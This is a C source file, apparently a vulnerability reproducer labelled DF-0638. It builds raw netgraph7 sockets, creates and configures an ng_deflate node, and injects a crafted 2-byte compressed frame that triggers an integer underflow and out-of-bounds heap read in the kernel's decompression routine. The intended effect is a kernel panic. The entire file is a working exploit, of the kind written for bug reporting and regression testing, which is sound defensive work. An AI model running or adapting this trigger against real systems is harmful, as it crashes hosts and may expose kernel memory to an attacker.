DF-0638 / df0638.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 | /* * DF-0638 reproducer: drive netgraph7 ng_deflate's decomp hook with a crafted * short PROT_COMPD frame (0x00 0xfd, 2 bytes) to trigger the avail_in integer * underflow -> OOB heap read in ng_deflate_decompress(). * * Builds a raw netgraph7 control+data socket client (the base ngctl is for the * old netgraph ABI-2 and cannot speak to netgraph7). Requires the netgraph7 * core + ng_socket + ng_deflate modules already loaded. * * cc -o df0638 df0638.c * ./df0638 # injects the crafted frame -> panic/OOB read */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* ---- netgraph7 ABI (inlined so we don't depend on installed headers) ---- */ #define AF_NETGRAPH2 32 /* AF_NETGRAPH */ #define NG_VERSION 8 #define NGM_GENERIC_COOKIE 1137070366UL #define NGM_DEFLATE_COOKIE 1166642656UL #define NG_CONTROL 2 #define NG_DATA 1 #define NG_TYPESIZ 32 #define NG_HOOKSIZ 32 #define NG_NODESIZ 32 #define NG_CMDSTRSIZ 32 #define MY_NGM_MKPEER 2 #define MY_NGM_NAME 4 #define MY_NGM_DEFLATE_CONFIG 1 struct ng_msghdr { unsigned char version; unsigned char spare; uint16_t spare2; uint32_t arglen; uint32_t cmd; uint32_t flags; uint32_t token; uint32_t typecookie; unsigned char cmdstr[NG_CMDSTRSIZ]; }; struct ng_mesg { struct ng_msghdr header; char data[]; }; struct ngm_mkpeer { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; }; struct ngm_name { char name[NG_NODESIZ]; }; struct ng_deflate_config { unsigned char enable; unsigned char windowBits; }; struct sockaddr_ng { unsigned char sg_len; unsigned char sg_family; char sg_data[14]; }; struct sockaddr_ng * mkaddr(const char *s, int *outlen) { int slen = strlen(s) + 1; /* data incl. NUL */ /* netgraph sockaddr: sg_len(1) + sg_family(1 byte) + sg_data(slen) */ int real_size = 2 + slen; struct sockaddr_ng *sa = calloc(1, real_size); /* ng_socket reads len = sg_len - 2 as the data length */ sa->sg_len = (unsigned char)(2 + slen); sa->sg_family = (unsigned char)AF_NETGRAPH2; memcpy(sa->sg_data, s, slen); *outlen = real_size; return sa; } /* Build + send a control message to <path>. data may be NULL. */ int send_ctrl(int fd, const char *path, uint32_t cookie, uint32_t cmd, const void *data, uint32_t arglen) { int tlen = sizeof(struct ng_mesg) + arglen; char *buf = calloc(1, tlen); struct ng_mesg *m = (struct ng_mesg *)buf; m->header.version = NG_VERSION; m->header.arglen = arglen; m->header.cmd = cmd; m->header.flags = 0; m->header.token = 0xdf0638; m->header.typecookie = cookie; if (arglen && data) memcpy(m->data, data, arglen); int alen; struct sockaddr_ng *sa = mkaddr(path, &alen); int n = sendto(fd, buf, tlen, 0, (struct sockaddr *)sa, alen); int e = errno; free(buf); free(sa); if (n < 0) { fprintf(stderr, "send_ctrl(%s): %s\n", path, strerror(e)); return -1; } return 0; } int main(void) { int cfd, dfd, rc; setvbuf(stdout, NULL, _IOLBF, 0); cfd = socket(AF_NETGRAPH2, SOCK_DGRAM, NG_CONTROL); if (cfd < 0) { perror("socket CONTROL"); return 2; } printf("control socket fd=%d\n", cfd); /* 1) name our control node "dfctl" (unique; data socket connects by name) */ { struct ngm_name nm; memset(&nm,0,sizeof(nm)); strncpy(nm.name,"dfctl",sizeof(nm.name)); int r = send_ctrl(cfd, "", NGM_GENERIC_COOKIE, MY_NGM_NAME, &nm, sizeof(nm)); printf("name dfctl rc=%d\n", r); } /* 2) mkpeer: my hook 'out' <-> new deflate node 'decomp' */ { struct ngm_mkpeer mk; memset(&mk,0,sizeof(mk)); strncpy(mk.type,"deflate",sizeof(mk.type)); strncpy(mk.ourhook,"out",sizeof(mk.ourhook)); strncpy(mk.peerhook,"decomp",sizeof(mk.peerhook)); int r = send_ctrl(cfd, "", NGM_GENERIC_COOKIE, MY_NGM_MKPEER, &mk, sizeof(mk)); printf("mkpeer rc=%d\n", r); } /* 3) configure deflate (enable, windowBits=12) -> inflateInit2 + seqnum=0 */ { struct ng_deflate_config cfg; memset(&cfg,0,sizeof(cfg)); cfg.enable = 1; cfg.windowBits = 12; int r = send_ctrl(cfd, "out", NGM_DEFLATE_COOKIE, MY_NGM_DEFLATE_CONFIG, &cfg, sizeof(cfg)); printf("config rc=%d\n", r); } /* 4) open data socket and attach it to node 'dfctl' */ dfd = socket(AF_NETGRAPH2, SOCK_DGRAM, NG_DATA); if (dfd < 0) { perror("socket DATA"); return 2; } { int alen; struct sockaddr_ng *sa = mkaddr("dfctl:", &alen); if (connect(dfd, (struct sockaddr *)sa, alen) < 0) { perror("connect DATA"); return 2; } free(sa); } printf("data socket attached to dfctl\n"); /* 5) inject the crafted 2-byte PROT_COMPD frame */ { unsigned char frame[2] = { 0x00, 0xfd }; int alen; struct sockaddr_ng *sa = mkaddr("out", &alen); printf("DF0638_TRIGGER: injecting 2-byte PROT_COMPD frame\n"); rc = sendto(dfd, frame, 2, 0, (struct sockaddr *)sa, alen); if (rc < 0) perror("sendto data"); else printf("injected %d bytes\n", rc); free(sa); } usleep(300000); printf("DF0638_DONE (if reached, no panic)\n"); return 0; } |